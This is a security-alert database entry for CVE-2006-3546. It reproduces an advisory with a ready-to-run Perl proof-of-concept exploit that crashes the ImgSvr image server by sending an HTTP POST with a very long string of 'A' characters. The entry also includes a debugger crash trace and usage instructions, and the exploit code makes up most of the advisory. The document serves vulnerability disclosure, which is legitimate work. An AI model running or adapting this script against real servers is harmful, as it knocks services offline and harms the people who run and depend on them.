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Home arrow SecurityAlert Database

Arrow  Topic :

imgsvr dos exploit by n00b


Arrow  SecurityAlert : 1232
Arrow  CVE : CVE-2006-3546
Arrow  SecurityRisk : Low  Security Risk Low  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Exploit Available : Yes
Arrow  Credit : n00b
Arrow  Published : 14.07.2006

Arrow  Affected Software : ImgSvr (http://freshmeat.net/projects/imgsvr/)



Arrow  Advisory Content :  

I have provided the fillowing proof of concept..

Afected-softwear

Credit's :n00b.

http://freshmeat.net/projects/imgsvr/

Exploit,

#!/usr/bin/perl

##Proof of concept.

########################################################################
#########

#Credit's:to n00b for finding this bug.

#

#Afected :ImgSvr.exe

#

#Download softwear: http://freshmeat.net/projects/imgsvr/

#

#Crash the server with overly long http post request..

#

#Main site of affected product. http://freshmeat.net/projects/imgsvr/

#Sending an overly long post request will crash the server with the
following.

#Acsess violation..

#Tested :win xp sp1..

#

#error:500 Server closed connection without sending any data back

#this is a error msg will receive on successful exploitation.

########################################################################
#########

##(e7c.168): Access violation - code c0000005 (first chance)

# First chance exceptions are reported before any exception handling.

# This exception may be expected and handled.

# eax=41414142 ebx=00000000 ecx=00000000 edx=00000002 esi=41414141
edi=00000000

# eip=006bf546 esp=022ab1c4 ebp=022ab628 iopl=0 nv up ei pl nz na
po nc

# cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000
efl=00010206

# *** WARNING: Unable to verify checksum for C:Program
FilesImgsvrimgsvr.exe

# *** ERROR: Module load completed but symbols could not be loaded for
C:Program FilesImgsvrimgsvr.exe

# imgsvr+0x2bf546:

# 006bf546 881c30 mov [eax+esi],bl
ds:0023:82828283=??

########################################################################
###########

#

# Usage: imageserv.pl change to your ip 127.0.0.1 < vic ip port 1235

########################################################################
###########

use LWP::UserAgent;

$ua = LWP::UserAgent->new;

my $req = HTTP::Request->new(POST =>
'http://127.0.0.1:1235/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

$req->content_type('application/x-www-form-urlencoded');

$req->content('match=www&errors=0');

my $res = $ua->request($req);

print $res->as_string;




Arrow  Feedback :

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